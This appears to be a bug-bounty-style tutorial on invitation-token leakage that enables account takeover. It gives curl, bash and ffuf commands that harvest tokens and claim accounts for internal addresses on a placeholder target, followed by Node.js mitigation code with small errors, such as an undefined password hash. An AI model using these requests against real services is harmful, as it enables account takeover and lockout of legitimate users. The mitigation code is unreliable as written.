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Introduction:
A critical application security flaw involving the leakage of invitation tokens can lead to complete account takeover and the permanent lockout of legitimate organizational users. This vulnerability, discovered in a real-world bug bounty scenario, bypasses standard email verification and allows attackers to seize control of high-value domain accounts, establishing a persistent foothold within a target’s workspace.
Learning Objectives:
- Understand the mechanics of invitation token leakage and account registration bypass.
- Learn to identify and exploit flawed registration workflows that mark emails as registered pre-verification.
- Develop mitigation strategies to secure user onboarding processes against token hijacking.
You Should Know:
1. Intercepting Server Responses with Burp Suite
When testing registration or invitation workflows, the server response often contains critical data. Configure Burp Suite to intercept and analyze these responses.
Launch Burp Suite from command line or use the GUI. Ensure proxy is set to 127.0.0.1:8080. java -jar -Xmx4g /path/to/burpsuite_pro.jar
Step-by-step guide: After starting Burp, configure your browser to use its proxy. Submit a registration or invitation request for an email. In Burp’s Proxy > HTTP history, find the POST request to the registration endpoint and examine the server’s response. Look for JSON keys like token, invite_code, activation_key, or similar. This is where the token leak likely occurs.
2. Crafting the Exploit Request with curl
Once the token parameter is identified, you can craft a request to claim the account without needing the email.
curl -X POST 'https://target.com/api/v1/register' -H 'Content-Type: application/json' --data-raw '{"email":"[email protected]","token":"EXFILTRATED_TOKEN","password":"AttackerP@ss123"}'
Step-by-step guide: This curl command simulates the final account creation step. Replace the URL, email, and token with the values from your intercept. The server, having already marked `[email protected]` as “registered” upon token generation, will now accept this token and complete the account setup under your control, bypassing any email verification.
3. Automating Token Extraction for Reconnaissance
To efficiently test for this vulnerability across multiple endpoints, a simple Bash script can parse responses for tokens.
!/bin/bash
Simple token extractor for JSON responses
response=$(curl -s -X POST 'https://target.com/api/invite' -H 'Content-Type: application/json' -d '{"email":"[email protected]"}')
echo $response | grep -oE '"token":\s"[^"]+"' | cut -d'"' -f4
Step-by-step guide: This script sends a POST request to an invitation endpoint and extracts the value of the `token` field from the JSON response. Run this script to quickly obtain a valid token. Always ensure you have permission to test your target.
4. Identifying Pre-Verification Registration Status Flaws
A key indicator of this vulnerability is the server preventing registration attempts after an initial invite is sent, even if the account is unverified.
Testing for the flaw by attempting to re-register the same email
curl -X POST 'https://target.com/api/v1/register' -H 'Content-Type: application/json' -d '{"email":"[email protected]"}' -i
Look for HTTP 400/409 responses with messages like "User already exists"
Step-by-step guide: This command checks if the server has a flawed state management system. If the server returns an error stating the user is already registered after only sending an invite (not completing registration), it confirms the vulnerability. The system incorrectly moves the email to a “registered” state before verification is complete.
5. Exploiting Internal Email Addresses with a Wordlist
An attacker would use a wordlist to automatically generate invites for valuable internal addresses.
Using ffuf to fuzz for valid email patterns
ffuf -w ./internal_emails.txt -X POST -u "https://target.com/api/invite" -H "Content-Type: application/json" -d '{"email":"FUZZ"}' -mr "token"
Step-by-step guide: This command uses the ffuf fuzzer to send invitation requests for a list of emails (e.g., admin@, hr@, root@, support@). The `-mr “token”` flag tells ffuf to only show responses that contain the word “token”, helping to identify successful requests that leak the credential.
6. Mitigation: Secure Token Handling in Node.js
Developers must ensure tokens are never returned in client responses. Here is a secure backend implementation.
// Node.js/Express example: Service layer generates token, but controller does not return it.
const inviteUser = async (req, res) => {
try {
const { email } = req.body;
const existingUser = await User.findOne({ email });
if (existingUser) return res.status(409).json({ error: 'User exists' });
const invitationToken = crypto.randomBytes(32).toString('hex');
// Save token to DB, associated with email and expiration
await new Invitation({ email, token: invitationToken }).save();
// Send token via secure email only. Do not include it in the JSON response.
await sendEmail(email, 'Your Invitation Link', `https://app.com/join?token=${invitationToken}`);
res.status(201).json({ message: 'Invitation sent' }); // No token in response!
} catch (error) {
res.status(500).json({ error: 'Server error' });
}
};
Step-by-step guide: This code snippet demonstrates the proper flow. The token is generated and stored securely. It is then sent exclusively out-of-band via email. The API response only confirms the invitation was sent, eliminating the possibility of token leakage in the HTTP response.
7. Mitigation: Implementing State Checks in Registration
The registration endpoint must check the true verification state of an email address, not just whether an invite exists.
// Secure registration endpoint logic
const registerUser = async (req, res) => {
const { email, token } = req.body;
// Find invitation, check expiration
const invitation = await Invitation.findOne({ email, token });
if (!invitation || invitation.expiresAt < new Date()) {
return res.status(401).json({ error: 'Invalid or expired token' });
}
// Check if a verified user with this email already exists
const verifiedUser = await User.findOne({ email, isVerified: true });
if (verifiedUser) return res.status(409).json({ error: 'User already registered' });
// If not, create the new user
const newUser = await User.create({ email, password: hashedPassword, isVerified: true });
await Invitation.deleteOne({ _id: invitation._id }); // Clean up used token
res.status(201).json({ message: 'User created' });
};
Step-by-step guide: This code ensures that the existence of an unverified invitation record does not block registration. It only blocks registration if a verified user with that email already exists. This logic prevents account lockout and neutralizes the token leak vulnerability.
What Undercode Say:
- The core failure is a breach of trust boundaries: a secret meant only for one channel (email) was exposed through another (HTTP response).
- This vulnerability is a business logic flaw, often missed by automated scanners, highlighting the critical need for manual secure code reviews.
- The impact is severe: account takeover of privileged addresses and denial-of-service against legitimate users. Mitigation requires a fundamental change in application state management, ensuring a user is only considered ‘registered’ after successful verification, not before.
Prediction:
This class of vulnerability will become increasingly prevalent as more applications rely on automated email-based onboarding workflows. As development cycles accelerate, logic flaws in state transition—like marking an email as registered pre-verification—will be a primary source of critical breaches. We predict a rise in sophisticated attacks targeting these workflows, leading to widespread account hijacking and organizational lockouts, forcing a industry-wide shift towards more formal verification of state machines within application security frameworks.
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IT/Security Reporter URL:
Reported By: https://lnkd.in/p/dJqEi53p – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
